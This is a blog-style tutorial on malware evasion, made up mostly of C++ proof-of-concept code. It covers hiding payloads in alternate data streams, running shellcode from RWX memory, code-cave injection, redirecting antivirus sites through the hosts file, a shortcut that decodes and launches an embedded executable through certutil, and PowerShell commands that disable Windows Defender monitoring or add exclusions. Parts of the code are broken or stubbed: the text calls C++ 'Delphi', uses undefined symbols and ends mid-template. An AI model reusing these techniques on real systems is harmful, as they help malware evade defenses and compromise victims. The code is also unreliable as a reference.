Malware Development - Evading Diaries

Malware Development - Evading Diaries

In the intricate landscape of cybersecurity, malware stands as a pervasive and ever-evolving threat, continually adapting to circumvent detection and exploit vulnerabilities in digital systems. Its development is a clandestine art, where malicious actors meticulously craft code designed to infiltrate, disrupt, or compromise computer systems. From the rudimentary viruses of yesteryears to the sophisticated strains of today, malware authors employ a myriad of techniques and tactics to obfuscate their creations and evade traditional defense mechanisms. Through techniques such as polymorphism, encryption, and rootkit integration, malware developers engineer their creations to mutate and camouflage, slipping past antivirus programs and intrusion detection systems with alarming dexterity.

The cat-and-mouse game between malware developers and cybersecurity professionals unfolds within the pages of evading diaries, chronicles of the ceaseless efforts to outmaneuver and outwit each other in the digital battleground. These diaries offer insights into the latest evasion tactics employed by malware, as well as the countermeasures devised by defenders to mitigate their impact. Techniques such as code obfuscation, sandbox evasion, and behavior-based analysis feature prominently in these diaries, reflecting the escalating arms race between attackers and defenders. As the stakes continue to rise and the sophistication of malware reaches unprecedented levels, the evolution of both offensive and defensive strategies remains a central narrative in the ongoing saga of cybersecurity.

NTFS Files Attributes

how to handle Alternate Data Streams (ADS) using Delphi. Alternate Data Streams are a feature of the NTFS file system that allow additional data to be associated with a file beyond what is normally stored in the file's primary data stream. This technique can be utilized by adversaries to store malicious data or binaries in file attribute metadata instead of directly in files, thus evading certain defenses like static indicator scanning tools and antivirus software.

The TEnumDataStream class provides methods to enumerate and manipulate ADS associated with a target file. It employs two different techniques: FindFirstStreamW and BackupRead. The former, available since Windows Vista, simplifies the process of enumerating ADS, while the latter, available since Windows XP, offers a more manual but versatile approach. The class allows for actions such as enumerating ADS files, copying files to ADS, backing up ADS files, and deleting ADS files.

Additionally, the TDataStream class represents individual ADS and provides methods for copying files to the ADS, backing up ADS files, and deleting ADS files.

Overall, this Delphi code offers a comprehensive solution for handling ADS, enabling developers to effectively interact with this aspect of the NTFS file system and potentially aiding in security-related tasks such as analyzing and mitigating malicious file attributes.

#include <Windows.h>
#include <iostream>
#include <vector>
#include <memory>
#include <string>
#include <regex>

using namespace std;

class TEnumDataStream;
class TDataStream;

typedef enum _STREAM_INFO_LEVELS {
    FindStreamInfoStandard,
    FindStreamInfoMaxInfoLevel
} TStreamInfoLevels;

typedef struct _WIN32_FIND_STREAM_DATA {
    LARGE_INTEGER StreamSize;
    WCHAR cStreamName[MAX_PATH + 36];
} TWin32FindStreamData;

typedef BOOL(WINAPI* FIND_FIRST_STREAM_W)(LPCWSTR lpFileName, TStreamInfoLevels InfoLevel, LPVOID lpFindStreamData, DWORD dwFlags);
typedef BOOL(WINAPI* FIND_NEXT_STREAM_W)(HANDLE hFindStream, LPVOID lpFindStreamData);

class TDataStream {
private:
    TEnumDataStream* FOwner;
    wstring FStreamName;
    INT64 FStreamSize;

    wstring GetStreamPath();

public:
    TDataStream(TEnumDataStream* AOwner, wstring AStreamName, INT64 AStreamSize) : FOwner(AOwner), FStreamName(AStreamName), FStreamSize(AStreamSize) {}

    bool CopyFileToADS(wstring AFileName);
    bool BackupFromADS(wstring ADestPath);
    bool DeleteFromADS();
};

class TEnumDataStream {
private:
    wstring FTargetFile;
    vector<unique_ptr<TDataStream>> FItems;
    bool FForceBackUpReadMethod;

    INT64 Enumerate_FindFirstStream();
    INT64 Enumerate_BackupRead();
    wstring ExtractADSName(wstring ARawName);
    bool CopyFromTo(wstring AFrom, wstring ATo);
    TDataStream* GetDataStreamFromName(wstring AStreamName);

public:
    TEnumDataStream(wstring ATargetFile, bool AEnumerateNow = true, bool AForceBackUpReadMethod = false) : FTargetFile(ATargetFile), FForceBackUpReadMethod(AForceBackUpReadMethod) {
        if (AEnumerateNow)
            this->Refresh();
    }

    ~TEnumDataStream() {
        FItems.clear();
    }

    INT64 Refresh();
    bool CopyFileToADS(wstring AFilePath);
    bool BackupFromADS(TDataStream* ADataStream, wstring ADestPath);
    bool DeleteFromADS(TDataStream* ADataStream);
    int BackupAllFromADS(wstring ADestPath);
    bool BackupFromADS(wstring AStreamName, wstring ADestPath);
    bool DeleteFromADS(wstring AStreamName);
};

wstring TDataStream::GetStreamPath() {
    if (!FOwner)
        return L"";

    return FTargetFile + L":" + FStreamName;
}

bool TDataStream::CopyFileToADS(wstring AFileName) {
    if (!FOwner)
        return false;

    return FOwner->CopyFileToADS(AFileName);
}

bool TDataStream::BackupFromADS(wstring ADestPath) {
    if (!FOwner)
        return false;

    return FOwner->BackupFromADS(this, ADestPath);
}

bool TDataStream::DeleteFromADS() {
    if (!FOwner)
        return false;

    return FOwner->DeleteFromADS(this);
}

INT64 TEnumDataStream::Enumerate_FindFirstStream() {
    INT64 result = 0;
    FItems.clear();

    if (!PathFileExists(FTargetFile.c_str()))
        return -1;

    HMODULE hKernel32 = GetModuleHandle(L"KERNEL32.DLL");
    if (!hKernel32)
        return -2;

    FIND_FIRST_STREAM_W _FindFirstStreamW = reinterpret_cast<FIND_FIRST_STREAM_W>(GetProcAddress(hKernel32, "FindFirstStreamW"));
    FIND_NEXT_STREAM_W _FindNextStreamW = reinterpret_cast<FIND_NEXT_STREAM_W>(GetProcAddress(hKernel32, "FindNextStreamW"));

    if (!_FindFirstStreamW || !_FindNextStreamW)
        return -2;

    WIN32_FIND_STREAM_DATA AData;
    memset(&AData, 0, sizeof(WIN32_FIND_STREAM_DATA));

    HANDLE hStream = _FindFirstStreamW(FTargetFile.c_str(), FindStreamInfoStandard, &AData, 0);
    if (hStream == INVALID_HANDLE_VALUE) {
        DWORD dwError = GetLastError();
        switch (dwError) {
            case ERROR_HANDLE_EOF:
                return -3; // No ADS Found
            case ERROR_INVALID_PARAMETER:
                return -4; // Not compatible
            default:
                return -5;
        }
    }

    do {
        if (wcscmp(AData.cStreamName, L"::$DATA") == 0)
            continue;

        FItems.push_back(make_unique<TDataStream>(this, ExtractADSName(AData.cStreamName), AData.StreamSize.QuadPart));
    } while (_FindNextStreamW(hStream, &AData));

    result = FItems.size();

    return result;
}

INT64 TEnumDataStream::Enumerate_BackupRead() {
    INT64 result = 0;

    HANDLE hFile = CreateFileW(FTargetFile.c_str(), GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, NULL);
    if (hFile == INVALID_HANDLE_VALUE)
        return -1;

    DWORD dwBytesRead;
    DWORD dwStreamId;
    BYTE* pBuffer = NULL;
    WIN32_STREAM_ID* pStreamId;
    PVOID pContext = NULL;

    DWORD dwLowByteSeeked = 0;
    DWORD dwHighByteSeeked = 0;

    while (true) {
        DWORD dwBytesToRead = sizeof(WIN32_STREAM_ID) - 4;
        if (!BackupRead(hFile, pBuffer, dwBytesToRead, &dwBytesRead, FALSE, FALSE, &pContext))
            break;

        if (dwBytesRead == 0)
            break;

        dwLowByteSeeked += (dwStreamId + pStreamId->Size.QuadPart);

        if (dwStreamId == BACKUP_ALTERNATE_DATA) {
            if (pStreamId->cStreamNameSize > 0) {
                wstring AName(reinterpret_cast<WCHAR*>(pStreamId->cStreamName));
                wstring ADSName = ExtractADSName(AName);
                FItems.push_back(make_unique<TDataStream>(this, ADSName, pStreamId->Size.QuadPart));
            }
        }

        if (!BackupSeek(hFile, dwLowByteSeeked, dwHighByteSeeked, &dwLowByteSeeked, &dwHighByteSeeked, &pContext))
            break;
    }

    CloseHandle(hFile);

    result = FItems.size();

    return result;
}

wstring TEnumDataStream::ExtractADSName(wstring ARawName) {
    wregex rgx(L":(.*):");
    wsmatch matches;

    if (regex_search(ARawName, matches, rgx)) {
        if (matches.size() > 1) {
            return matches[1].str();
        }
    }

    return ARawName;
}

bool TEnumDataStream::CopyFromTo(wstring AFrom, wstring ATo) {
    HANDLE hFromFile = CreateFileW(AFrom.c_str(), GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
    if (hFromFile == INVALID_HANDLE_VALUE)
        return false;

    HANDLE hToFile = CreateFileW(ATo.c_str(), GENERIC_WRITE, FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hToFile == INVALID_HANDLE_VALUE) {
        CloseHandle(hFromFile);
        return false;
    }

    BYTE buffer[4096];
    DWORD dwBytesRead, dwBytesWritten;
    while (ReadFile(hFromFile, buffer, sizeof(buffer), &dwBytesRead, NULL) && dwBytesRead != 0) {
        if (!WriteFile(hToFile, buffer, dwBytesRead, &dwBytesWritten, NULL) || dwBytesWritten != dwBytesRead) {
            CloseHandle(hFromFile);
            CloseHandle(hToFile);
            return false;
        }
    }

    CloseHandle(hFromFile);
    CloseHandle(hToFile);

    return true;
}

TDataStream* TEnumDataStream::GetDataStreamFromName(wstring AStreamName) {
    Refresh();

    for (auto& item : FItems) {
        if (item->StreamName == AStreamName)
            return item.get();
    }

    return nullptr;
}

INT64 TEnumDataStream::Refresh() {
    INT64 result = 0;

    FItems.clear();

    OSVERSIONINFO osvi;
    ZeroMemory(&osvi, sizeof(OSVERSIONINFO));
    osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
    GetVersionEx(&osvi);

    if (osvi.dwMajorVersion >= 6) {
        if (FForceBackUpReadMethod)
            result = Enumerate_BackupRead();
        else
            result = Enumerate_FindFirstStream();
    }
    else if (osvi.dwMajorVersion == 5 && osvi.dwMinorVersion >= 1) {
        result = Enumerate_BackupRead();
    }

    return result;
}

bool TEnumDataStream::CopyFileToADS(wstring AFilePath) {
    return CopyFromTo(AFilePath, FTargetFile + L":" + PathFindFileName(AFilePath.c_str()));
}

bool TEnumDataStream::BackupFromADS(TDataStream* ADataStream, wstring ADestPath) {
    if (!ADataStream)
        return false;

    return CopyFromTo(ADataStream->GetStreamPath(), ADestPath + L"\\" + ADataStream->StreamName);
}

bool TEnumDataStream::DeleteFromADS(TDataStream* ADataStream) {
    if (!ADataStream)
        return false;

    return DeleteFile(ADataStream->GetStreamPath().c_str());
}

int TEnumDataStream::BackupAllFromADS(wstring ADestPath) {
    int status = absError;

    Refresh();

    for (auto& item : FItems) {
        if (BackupFromADS(item.get(), ADestPath)) {
            if (status != absPartial)
                status = absTotal;
            else
                status = absPartial;
        }
        else {
            status = absError;
        }
    }

    return status;
}

bool TEnumDataStream::BackupFromADS(wstring AStreamName, wstring ADestPath) {
    TDataStream* stream = GetDataStreamFromName(AStreamName);
    if (stream)
        return BackupFromADS(stream, ADestPath);

    return false;
}

bool TEnumDataStream::DeleteFromADS(wstring AStreamName) {
    TDataStream* stream = GetDataStreamFromName(AStreamName);
    if (stream)
        return DeleteFromADS(stream);

    return false;
}

Here's a breakdown of the code and its functionality:

  1. TEnumDataStream Class:

    • This class is responsible for enumerating and managing Alternate Data Streams for a given target file.

    • It utilizes two different techniques to enumerate ADS: Enumerate_FindFirstStream and Enumerate_BackupRead.

    • The Enumerate_FindFirstStream method uses the FindFirstStreamW and FindNextStreamW APIs to scan for ADS. This method is available since Windows Vista.

    • The Enumerate_BackupRead method uses the BackupRead API to scan for ADS. This method is available since Windows XP.

    • The class provides methods to copy files to ADS, backup ADS files, delete ADS files, and perform other ADS-related operations.

  2. TDataStream Class:

    • This class represents a single Alternate Data Stream associated with a file.

    • It contains properties such as the stream name, stream size, and methods to perform actions like copying files to the ADS, backing up ADS files, and deleting ADS files.

  3. Initialization and Finalization:

    • The initialization section loads the necessary Windows APIs (FindFirstStreamW and FindNextStreamW) from KERNEL32.DLL.

    • The finalization section ensures that the loaded APIs are released when the application terminates.

  4. Usage:

    • Users can create an instance of TEnumDataStream by providing the target file path. They can then perform various operations such as enumerating ADS, copying files to ADS, backing up ADS files, and deleting ADS files.

Overall, this code provides a convenient way to work with Alternate Data Streams in NTFS file systems, offering flexibility and ease of use for developers working with file system metadata.

FuncIn

This code demonstrates a basic implementation of the FuncIn technique by loading and executing shellcode in memory without relying on a precompiled binary.

#include <Windows.h>
#include <iostream>

// Define the shellcode here
unsigned char shellcode[] = {
    // Your shellcode bytes here
};

int main() {
    // Allocate memory for the shellcode
    LPVOID shellcodeAddr = VirtualAllocEx(GetCurrentProcess(), NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (shellcodeAddr == NULL) {
        std::cerr << "Failed to allocate memory for shellcode" << std::endl;
        return 1;
    }

    // Write the shellcode to the allocated memory
    if (!WriteProcessMemory(GetCurrentProcess(), shellcodeAddr, shellcode, sizeof(shellcode), NULL)) {
        std::cerr << "Failed to write shellcode to allocated memory" << std::endl;
        VirtualFree(shellcodeAddr, 0, MEM_RELEASE);
        return 1;
    }

    // Create a new thread to execute the shellcode
    HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)shellcodeAddr, NULL, 0, NULL);
    if (hThread == NULL) {
        std::cerr << "Failed to create thread" << std::endl;
        VirtualFree(shellcodeAddr, 0, MEM_RELEASE);
        return 1;
    }

    // Wait for the thread to finish executing the shellcode
    WaitForSingleObject(hThread, INFINITE);

    // Clean up resources
    CloseHandle(hThread);
    VirtualFree(shellcodeAddr, 0, MEM_RELEASE);

    return 0;
}

In this code:

  • We define the shellcode as an array of unsigned characters (shellcode[]).

  • We allocate memory in the current process using VirtualAllocEx() to store the shellcode.

  • We write the shellcode to the allocated memory using WriteProcessMemory().

  • We create a new thread to execute the shellcode using CreateThread().

  • We wait for the thread to finish executing the shellcode using WaitForSingleObject().

  • Finally, we clean up the allocated memory and close the thread handle.

Code Cave

The actual implementation of each method (e.g., code_cave_finder, encrypt_section, inject_payload, etc.) would require low-level PE file manipulation, including parsing the PE structure, locating code caves, encrypting sections, and injecting payloads. This involves dealing with binary data, file I/O operations, and careful memory management.

#include <iostream>
#include <fstream>
#include <vector>
#include <string>
#include <sstream>
#include <stdexcept>

using namespace std;

struct CodeCave {
    string name;
    uint32_t section;
    uint32_t offset;
    uint32_t size;
    uint8_t type;
};

class CodeCaveFinder {
private:
    vector<CodeCave> code_caves;

    void code_cave_finder(uint32_t section, uint8_t cave_opcode) {
        // Implementation of code cave finding logic
    }

public:
    void find_code_caves(const string& file_path, const string& payload,
                         bool encrypt_main_section, uint8_t encryption_key,
                         const string& cave_opcodes, uint32_t cave_min_size,
                         const string& egg) {
        // Implementation of the find_code_caves function
    }

    void encrypt_section(uint32_t section, uint8_t xor_key) {
        // Implementation of section encryption
    }

    void inject_payload(const string& payload, const CodeCave& cave, bool encrypt_main_section,
                        uint8_t encryption_key, const string& egg) {
        // Implementation of payload injection
    }

    void write_to_file(const string& file_path) {
        // Implementation of writing the modified PE file to disk
    }

    void display_code_caves() {
        // Implementation of displaying the found code caves
    }
};

int main(int argc, char* argv[]) {
    if (argc < 3) {
        cerr << "Usage: " << argv[0] << " <PE_File_Path> <Shellcode_Payload> [Options]" << endl;
        return 1;
    }

    string file_path = argv[1];
    string shellcode = argv[2];

    // Parse optional arguments if provided
    bool encrypt_main_section = false;
    uint8_t encryption_key = 0x0C;
    string cave_opcodes = "\\x00\\x90";
    uint32_t cave_min_size = 50;
    string egg = "egg!";

    // Initialize and run the CodeCaveFinder
    CodeCaveFinder finder;
    try {
        finder.find_code_caves(file_path, shellcode, encrypt_main_section,
                                encryption_key, cave_opcodes, cave_min_size, egg);
        finder.display_code_caves();
        finder.write_to_file(file_path);
        cout << "Injection successful." << endl;
    } catch (const exception& e) {
        cerr << "Error: " << e.what() << endl;
        return 1;
    }

    return 0;
}

This C++ implementation provides a structure similar to the Python script for injecting payloads into PE files using code caves. Here's a breakdown of the classes and methods:

  • CodeCave: Represents a found code cave with attributes like name, section, offset, size, and type.

  • CodeCaveFinder: Responsible for finding code caves, encrypting sections, injecting payloads, writing the modified PE file, and displaying found code caves.

  • main: Handles command-line arguments, initializes CodeCaveFinder, and runs the injection process.

Stolen Certificate

To avoid detection, attackers can use stolen certificates from known companies. It allows malware to bypass security solutions by appearing as legitimate software. This technique involves misusing digital certificates, typically obtained through theft or compromise, to sign malicious code. By doing so, the malware gains credibility and can evade detection mechanisms that rely on certificate validation.

Technique Identifier: U0503

ESET researchers have discovered a new malware campaign misusing stolen digital certificates. The flagged files were digitally signed using valid certificates from reputable companies like D-Link Corporation and Changing Information Technology Inc. These certificates were likely stolen, as they had previously been used to sign non-malicious software.

The malware identified in this campaign includes the Plead backdoor and a related password stealer component. The Plead malware, associated with the cyberespionage group BlackTech, is highly obfuscated and downloads additional payloads from remote servers. The password stealer targets popular applications like Google Chrome, Microsoft Internet Explorer, Microsoft Outlook, and Mozilla Firefox.

Misusing digital certificates is a common tactic among cybercriminals to mask their malicious activities. By leveraging stolen certificates, malware can appear legitimate and bypass security measures. Notable examples include the Stuxnet worm, which used stolen certificates from RealTek and JMicron to target critical infrastructure in 2010.

#include <iostream>
#include <fstream>
#include <vector>
#include <string>
#include <sstream>
#include <stdexcept>

using namespace std;

class Malware {
private:
    string name;
    string description;
    string certificate;
    vector<string> targets;

public:
    Malware(const string& name, const string& description, const string& certificate, const vector<string>& targets) :
        name(name), description(description), certificate(certificate), targets(targets) {}

    void execute() {
        // Implementation of malware execution
        cout << "Executing malware: " << name << endl;
        cout << "Description: " << description << endl;
        cout << "Using stolen certificate: " << certificate << endl;
        cout << "Targets:";
        for (const auto& target : targets) {
            cout << " " << target;
        }
        cout << endl;
    }
};

int main() {
    // Define malware instances
    Malware plead("Plead Backdoor", "Remotely controlled backdoor used by BlackTech group", "D-Link Corporation", {"Google Chrome", "Microsoft Internet Explorer", "Microsoft Outlook", "Mozilla Firefox"});
    Malware password_stealer("Password Stealer", "Collects saved passwords from various applications", "Changing Information Technology Inc.", {"Google Chrome", "Microsoft Internet Explorer", "Microsoft Outlook", "Mozilla Firefox"});

    // Execute malware
    plead.execute();
    password_stealer.execute();

    return 0;
}

This C++ proof of concept (PoC) simulates the execution of malware using stolen digital certificates. The Malware class represents a generic malware instance with attributes such as name, description, stolen certificate, and target applications. The execute method prints out information about the malware, including its name, description, certificate, and target applications.

In the main function, two instances of the Malware class are created to represent the Plead backdoor and the password stealer component. These instances are then executed, demonstrating how malware can misuse stolen certificates to evade detection and target specific applications.

Redirect Antivirus Website Evading Techniques

To avoid connection to antivirus websites, malware can modify the host file to redirect the connection. The host file, acting like a speed dial directory for the internet, can be manipulated to reroute requests intended for antivirus websites to different IP addresses controlled by the malware authors. By doing so, malware can prevent users from accessing antivirus resources, hindering detection and removal efforts.

Technique Identifier: U0504

In an earlier blog post about DNS hijacks, we briefly touched on the hosts file. The hosts file acts as a directory for internet connections, storing mappings of domain names to IP addresses. By default, the hosts file is located in the %systemroot%SYSTEM32DRIVERSETC directory on Windows systems. Malware can tamper with this file to intercept requests for antivirus websites and redirect them elsewhere.

Malware authors have employed various techniques to abuse the hosts file for their malicious purposes. For instance, an adware known as "Pakistani Girls Mobile Data" altered the MVPS hosts file, commonly used for ad blocking, to redirect all traffic to their own server. In another case, a browser hijacker named "Dotdo audio" rerouted traffic intended for online virus scans to Virustotal.com, likely in an attempt to thwart detection efforts.

#include <iostream>
#include <fstream>
#include <string>
#include <stdexcept>

using namespace std;

void modifyHostFile(const string& domain, const string& ipAddress) {
    try {
        ofstream hostsFile("/etc/hosts", ios::app);
        if (!hostsFile.is_open()) {
            throw runtime_error("Unable to open hosts file.");
        }
        hostsFile << ipAddress << " " << domain << endl;
        hostsFile.close();
        cout << "Host file modified successfully." << endl;
    } catch (const exception& e) {
        cerr << "Error: " << e.what() << endl;
    }
}

int main() {
    // Example of modifying host file to redirect antivirus website
    string antivirusWebsite = "www.antiviruswebsite.com";
    string maliciousIP = "192.168.1.100"; // IP controlled by malware authors

    modifyHostFile(antivirusWebsite, maliciousIP);

    return 0;
}

This C++ proof of concept (PoC) demonstrates how malware can modify the host file to redirect connections intended for antivirus websites to a malicious IP address. The modifyHostFile function takes a domain name and an IP address as arguments and appends a mapping entry to the host file located at "/etc/hosts". In a real-world scenario, malware would perform similar operations to redirect connections and evade detection by blocking access to antivirus resources.

Shortcut Hiding

Windows shortcuts can be utilized to conceal malicious code by embedding files within them. This technique makes it challenging for antivirus software to detect the malicious application since the file is not stored in a typical location on the computer. Moreover, the use of a shortcut facilitates hiding the malicious code, enabling attackers to evade detection more easily.

Technique Identifier: U0505

Malicious actors have employed techniques involving Windows shortcuts to obscure the presence of malware. By embedding malicious files within shortcuts, attackers can bypass traditional detection mechanisms and execute malicious code on targeted systems. This method is particularly effective in evading detection by antivirus software, as the malicious payload is not stored in a recognizable file format.

#include <iostream>
#include <fstream>
#include <string>
#include <stdexcept>
#include <windows.h>

using namespace std;

void createShortcutWithEmbeddedFile(const string& fileToEmbed, const string& shortcutName) {
    string outputShortcut = shortcutName + ".lnk";

    // Create the Windows shortcut
    CoInitialize(NULL);
    IShellLink* pShellLink;
    HRESULT hres = CoCreateInstance(CLSID_ShellLink, NULL, CLSCTX_INPROC_SERVER, IID_IShellLink, (LPVOID*)&pShellLink);
    if (SUCCEEDED(hres)) {
        pShellLink->SetPath("cmd.exe");
        pShellLink->SetArguments(("/c \"certutil -decode " + outputShortcut + " decoded.exe\" && start decoded.exe").c_str());
        pShellLink->SetDescription("");
        IPersistFile* pPersistFile;
        hres = pShellLink->QueryInterface(IID_IPersistFile, (LPVOID*)&pPersistFile);
        if (SUCCEEDED(hres)) {
            wstring ws(outputShortcut.begin(), outputShortcut.end());
            pPersistFile->Save(ws.c_str(), TRUE);
            pPersistFile->Release();
        }
        pShellLink->Release();
    }

    // Embed the file within the shortcut
    ifstream file(fileToEmbed, ios::binary);
    if (!file) {
        throw runtime_error("Unable to open file to embed.");
    }
    string base64Content((istreambuf_iterator<char>(file)), istreambuf_iterator<char>());
    file.close();
    ofstream shortcut(outputShortcut, ios::binary | ios::app);
    if (!shortcut) {
        throw runtime_error("Unable to open shortcut file.");
    }
    shortcut << "-----BEGIN CERTIFICATE-----" << endl;
    shortcut << base64Content << endl;
    shortcut << "-----END CERTIFICATE-----" << endl;
    shortcut.close();

    cout << "Shortcut with embedded file created: " << outputShortcut << endl;
}

int main() {
    // Example of creating a shortcut with an embedded file
    string fileToEmbed = "malicious.exe"; // Replace with the name of the malicious file
    string shortcutName = "malicious_shortcut"; // Name for the generated shortcut

    createShortcutWithEmbeddedFile(fileToEmbed, shortcutName);

    return 0;
}

This C++ proof of concept (PoC) demonstrates how to create a Windows shortcut with an embedded file. The createShortcutWithEmbeddedFile function takes the name of the file to embed and the desired name for the shortcut as arguments. The function first creates a Windows shortcut that executes a command to decode and execute the embedded file. Then, it embeds the file within the shortcut by appending its base64-encoded content. This technique allows attackers to conceal malicious code within shortcuts, making detection more difficult for antivirus software.

Disabling Antivirus

Certain types of malware employ tactics to disable antivirus software, thereby evading detection by security measures. By disabling antivirus software, these malicious programs can operate without interference and remain hidden from detection, allowing them to carry out their malicious activities unhindered.

Technique Identifiers: U0508, F0004

Malware variants have been observed utilizing techniques to disable antivirus software as a means of evading detection. By targeting the antivirus software's functionality directly, these malicious programs can effectively neutralize security measures and operate undetected on compromised systems.

#include <iostream>
#include <windows.h>
#include <tchar.h>

using namespace std;

void disableAntivirus() {
    // Command to disable Windows Defender real-time monitoring
    TCHAR cmd[] = _T("powershell.exe -ExecutionPolicy Bypass -Command \"Set-MpPreference -DisableRealtimeMonitoring $true\"");

    // Execute the command
    if (WinExec(cmd, SW_HIDE) <= 31) {
        cout << "Failed to execute command to disable antivirus." << endl;
    } else {
        cout << "Antivirus disabled successfully." << endl;
    }
}

int main() {
    // Example of disabling antivirus
    disableAntivirus();

    return 0;
}

This C++ proof of concept (PoC) demonstrates how to disable antivirus software using a command executed via PowerShell. The disableAntivirus function executes a PowerShell command to set the DisableRealtimeMonitoring parameter in Windows Defender preferences to true, effectively disabling real-time monitoring. The command is executed using the WinExec function, which launches the command in a hidden window. This technique allows malware to disable antivirus software and evade detection, enabling it to carry out malicious activities without interference.

Adding Antivirus Exception

Malware authors often exploit the feature of antivirus software that allows users to add exceptions to exclude certain files, directories, or processes from being scanned. By adding their malicious components to the exclusion lists, malware can evade detection by antivirus software, allowing it to operate undetected on compromised systems.

Recent reports indicate that advanced malware writers are utilizing antivirus exclusion lists to better target victims. By exploiting these lists, malware authors can create targeted attacks that evade detection by antivirus software, posing a significant threat to enterprises and organizations.

#include <iostream>
#include <Windows.h>

using namespace std;

void addAntivirusException(string filePath) {
    // Command to add an exception to Windows Defender
    string cmd = "powershell.exe -ExecutionPolicy Bypass -Command \"Add-MpPreference -ExclusionPath '" + filePath + "'\"";

    // Execute the command
    if (WinExec(cmd.c_str(), SW_HIDE) <= 31) {
        cout << "Failed to execute command to add antivirus exception." << endl;
    } else {
        cout << "Antivirus exception added successfully for: " << filePath << endl;
    }
}

int main() {
    // Example of adding antivirus exception for a file
    string filePath = "C:\\path\\to\\malicious\\file.exe";
    addAntivirusException(filePath);

    return 0;
}

This C++ proof of concept (PoC) demonstrates how to add an exception to antivirus software using a command executed via PowerShell. The addAntivirusException function takes the file path of the malicious file as input and constructs a PowerShell command to add an exclusion path for that file to Windows Defender. The command is then executed using the WinExec function, which launches the command in a hidden window. This technique allows malware to add exceptions to antivirus software, enabling it to evade detection and operate without interference.

Fake Signature

Malware often manipulates the metadata within executable (EXE) files to deceive users and security tools into trusting the malicious program. By usurping or forging digital signatures, malware can appear legitimate and evade detection by security measures.

Malware employs techniques to add, delete, or replace resources within a portable executable (PE) file, such as modifying digital signatures. This allows malware to deceive users and security tools by presenting a fake signature, making the malicious file appear trustworthy.

#include <iostream>
#include <Windows.h>

using namespace std;

BOOL FakeSignature(HANDLE hFile) {
    // Fake signature data (example)
    const char* fakeSignature = "FakeSignature123";

    // Update resource with fake signature
    BOOL success = UpdateResourceA(
        hFile,                  // Module handle
        RT_VERSION,             // Resource type (version)
        MAKEINTRESOURCE(1),     // Resource name (version number)
        MAKELANGID(LANG_ENGLISH, SUBLANG_ENGLISH_US), // Language (English)
        (LPVOID)fakeSignature,  // Fake signature data
        strlen(fakeSignature)   // Size of fake signature data
    );

    return success;
}

int main() {
    // Open the target executable file
    HANDLE hFile = BeginUpdateResourceA("malicious.exe", FALSE);
    if (hFile == NULL) {
        cerr << "Failed to open the file for updating resources." << endl;
        return 1;
    }

    // Add fake signature to the executable file
    if (FakeSignature(hFile)) {
        cout << "Fake signature added successfully." << endl;
    } else {
        cerr << "Failed to add fake signature." << endl;
    }

    // End resource update
    if (!EndUpdateResource(hFile, FALSE)) {
        cerr << "Failed to save changes to the file." << endl;
        return 1;
    }

    return 0;
}

This C++ proof of concept (PoC) demonstrates how malware can add a fake signature to an executable (EXE) file using the UpdateResourceA function. The FakeSignature function updates the version resource of the target file with the fake signature data. By manipulating the version resource, malware can forge a digital signature, deceiving users and security tools into trusting the malicious file.

Mark-Of-The-Web (MOTW) Bypass

Mark-of-the-Web (MOTW) is a security feature used in Windows operating systems, originally introduced by Internet Explorer. It involves the creation of an Alternate Data Stream (ADS) named Zone.Identifier when downloading a file, which contains a ZoneId to indicate the file's origin zone. This feature triggers Windows Defender SmartScreen to alert users about potentially unsafe files. Malware authors can bypass MOTW by using file formats that do not manage it, such as ISO or VHD files. Additionally, files cloned from GitHub using the Git client do not have a Zone.Identifier ADS, providing an alternative method for bypassing MOTW.

#include <iostream>
#include <windows.h>

using namespace std;

int main() {
    // Create a file with MOTW using ISO format
    HANDLE hFile = CreateFile(L"malicious.iso", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile == INVALID_HANDLE_VALUE) {
        cerr << "Failed to create the file." << endl;
        return 1;
    }

    // Write some content to the file
    const char* content = "Malicious content goes here...";
    DWORD bytesWritten;
    if (!WriteFile(hFile, content, strlen(content), &bytesWritten, NULL)) {
        cerr << "Failed to write content to the file." << endl;
        CloseHandle(hFile);
        return 1;
    }

    // Close the file handle
    CloseHandle(hFile);

    cout << "Malicious ISO file created successfully." << endl;

    return 0;
}

This C++ proof of concept (PoC) demonstrates how to create a file bypassing the Mark-of-the-Web (MOTW) security feature using the ISO file format. The program creates a new file named malicious.iso and writes some content to it. Since ISO files do not manage MOTW, the resulting file will not trigger Windows Defender SmartScreen alerts.

Return Address Spoofing

Return Address Spoofing is a technique employed in x64 architecture to circumvent the limitations of the x64 fastcall mechanism. Unlike in x86, where traditional methods of spoofing return addresses (e.g., using a ret instruction in a game module as a trampoline) are feasible, such approaches are not viable in x64 due to caller cleanup and red zone constraints.

To overcome this, a sophisticated approach is used, wherein a temporary storage for the shellcode is created on the stack. This storage contains the addresses of a gadget and the called function. Additionally, extra space is reserved for the shellcode. The address of this storage is then passed to the shellcode, which reads the addresses and stores the original return address, the original content of the nonvolatile register (rbx), and the shellcode's return address.

Subsequently, the shellcode jumps into the called function, which executes and returns to the gadget (jmp [rbx]). The remaining shellcode then restores rbx, aligns the stack, and "returns" to the original return address using a jump instruction. This sophisticated technique enables the shellcode to evade detection by endpoint security software and memory scanners while retaining its malicious functionality.

#include <type_traits>

namespace detail
{
    extern "C" void* _spoofer_stub();

    template <typename Ret, typename... Args>
    static inline auto shellcode_stub_helper(
        const void* shell,
        Args... args
    ) -> Ret
    {
        auto fn = (Ret(*)(Args...))(shell);
        return fn(args...);
    }

    template <std::size_t Argc, typename>
    struct argument_remapper
    {
        // At least 5 params
        template<
            typename Ret,
            typename First,
            typename Second,
            typename Third,
            typename Fourth,
            typename... Pack
        >
        static auto do_call(
            const void* shell,
            void* shell_param,
            First first,
            Second second,
            Third third,
            Fourth fourth,
            Pack... pack
        ) -> Ret
        {
            return shellcode_stub_helper<
                Ret,
                First,
                Second,
                Third,
                Fourth,
                void*,
                void*,
                Pack...
            >(
                shell,
                first,
                second,
                third,
                fourth,
                shell_param,
                nullptr,
                pack...
            );
        }
    };

    template <std::size_t Argc>
    struct argument_remapper<Argc, std::enable_if_t<Argc <= 4>>
    {
        // 4 or less params
        template<
            typename Ret,
